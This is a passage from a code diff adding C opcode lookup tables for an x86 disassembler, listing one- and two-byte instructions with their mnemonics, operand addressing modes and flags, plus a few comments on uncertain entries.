FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jcxz", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_AL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_EAX|OT_v, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "out", AM_I|OT_b, AM_REG|REG_AL|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "out", AM_I|OT_b, AM_REG|REG_EAX|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_CALL, "call", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMP, "jmp", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMP, "jmpf", AM_A|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMP, "jmp", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_EAX|OT_b, AM_REG|REG_EDX|OT_w, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_EAX|OT_v, AM_REG|REG_EDX|OT_w, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "out", AM_REG|REG_EDX|OT_w, AM_REG|REG_EAX|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "out", AM_REG|REG_EDX|OT_w, AM_REG|REG_EAX|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "ext", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "int1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "ext", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "ext", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "hlt", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "cmc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "g3", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "g3", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "clc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "stc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "cli", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "sti", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "cld", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "std", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "g4", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + // XXX: far call/jmp syntax in 16-bit mode + { INSTRUCTION_TYPE_OTHER, "g5", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, +}; + + +// 2-byte instructions + +INST inst_table2[256] = { + { INSTRUCTION_TYPE_OTHER, "g6", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + // XXX: smsw and lmsw in grp 7 use addressing mode E !!! + { INSTRUCTION_TYPE_OTHER, "g7", AM_M|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_PRIV, "lar", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_PRIV, "lsl", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + // XXX: undocumented? + { INSTRUCTION_TYPE_OTHER, "loadall286",FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "clts", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + // XXX: undocumented? + { INSTRUCTION_TYPE_OTHER, "loadall", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "invd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "wbinvd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "ud2", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_SSE, "movups", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "movups", AM_W|OT_ps, AM_V|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "movlps", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "movlps", AM_M|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "unpcklps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "unpcklps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "movhps", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "movhps", AM_M|OT_q, AM_V|OT_ps, FLAGS_NONE, 1 }, + // XXX: grp 16 (prefetch) + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "mov", AM_R|OT_d, AM_C|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_PRIV, "mov", AM_R|OT_d, AM_D|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_PRIV, "mov", AM_C|OT_d, AM_R|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_PRIV, "mov", AM_D|OT_d, AM_R|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_PRIV, "mov", AM_R|OT_d, AM_T|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "mov", AM_T|OT_d, AM_R|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_SSE, "movaps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "movaps", AM_W|OT_ps, AM_V|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "cvtpi2ps", AM_V|OT_ps, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "movntps", AM_M|OT_ps, AM_V|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "cvttps2pi",AM_P|OT_q, AM_W|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "cvtps2pi", AM_P|OT_q, AM_W|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "ucomiss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "comiss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "wrmsr", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "rdtsc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "rdmsr", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "rdpmc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "sysenter", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "sysexit", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOVC, "cmovo", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovno", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovb", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovae", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmove", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovne", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovbe", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmova", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovs", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovns", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovp", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovnp", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovl", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovge", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovle", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVC, "cmovg", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "movmskps", AM_G|OT_d, AM_V|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "sqrtps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "rsqrtps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "rcpps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "andps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "andnps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "orps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "xorps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "addps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "mulps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "cvtps2pd", AM_V|OT_pd, AM_W|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "cvtdq2ps", AM_V|OT_ps, AM_W|OT_dq, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "subps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "minps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "divps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "maxps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "punpcklbw",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "punpcklwd",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "punockldq",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "packusdw", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pcmpgtb", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pcmpgtw", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pcmpgtd", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "packsswb", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "punpckhbw",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "punpckhbd",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "punpckhdq",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "packssdw", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, "movd", AM_P|OT_d, AM_E|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "movq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pshufw", AM_P|OT_q, AM_Q|OT_q, AM_I|OT_b, 1 }, + // groups 12-14 + { INSTRUCTION_TYPE_MMX, "g12", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "g13", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "g14", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pcmpeqb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pcmpeqw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pcmpeqd", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "emms", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, "movd", AM_E|OT_d, AM_P|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "movq", AM_Q|OT_q, AM_P|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_JMPC, "jo", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jno", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jb", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnb", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jz", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnz", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jbe", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnbe", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "js", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jns", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jp", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnp", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jl", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnl", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jle", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnle", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_SETC, "seto", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setno", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setb", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setnb", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setz", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setnz", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setbe", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setnbe", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "sets", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setns", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setp", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setnp", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setl", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setnl", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setle", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SETC, "setnle", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_FS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_FS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "cpuid", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BT, "bt", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "shld", AM_E|OT_v, AM_G|OT_v, AM_I|OT_b, 1 }, + { INSTRUCTION_TYPE_OTHER, "shld", AM_E|OT_v, AM_G|OT_v, AM_REG|REG_ECX|OT_b, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + // XXX: ibts: undocumented? + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_GS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_GS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "rsm", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BTS, "bts", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "shrd", AM_E|OT_v, AM_G|OT_v, AM_I|OT_b, 1 }, + { INSTRUCTION_TYPE_OTHER, "shrd", AM_E|OT_v, AM_G|OT_v, AM_REG|REG_ECX|OT_b, 1 }, + // XXX: check addressing mode, Intel manual is a little bit confusing... + { INSTRUCTION_TYPE_OTHER, "grp15", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_EIMUL, "imul", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "cmpxchg", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "cmpxchg", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_LFP, "lss", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_BTR, "btr", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_LFP, "lfs", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_LFP, "lgs", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVZX, "movzx", AM_G|OT_v, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVZX, "movzx", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + // XXX: group 10 / invalid opcode? + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "g8", AM_E|OT_v, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_BTC, "btc", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_BSF, "bsf", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_BSR, "bsr", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVSX, "movsx", AM_G|OT_v, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVSX, "movsx", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_XADD, "xadd", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_XADD, "xadd", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "cmpps", AM_V|OT_ps, AM_W|OT_ps, AM_I|OT_b, 1 }, + { INSTRUCTION_TYPE_OTHER, "movnti", AM_M|OT_d, AM_G|OT_d, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SSE, "pinsrw", AM_P|OT_w, AM_E|OT_w, AM_I|OT_b, 1 }, + { INSTRUCTION_TYPE_SSE, "pextrv", AM_G|OT_w, AM_P|OT_w, AM_I|OT_b, 1 }, + { INSTRUCTION_TYPE_SSE, "shufps", AM_V|OT_ps, AM_W|OT_ps, AM_I|OT_b, 1 }, + { INSTRUCTION_TYPE_OTHER, "g9", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, "psrlw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psrld", 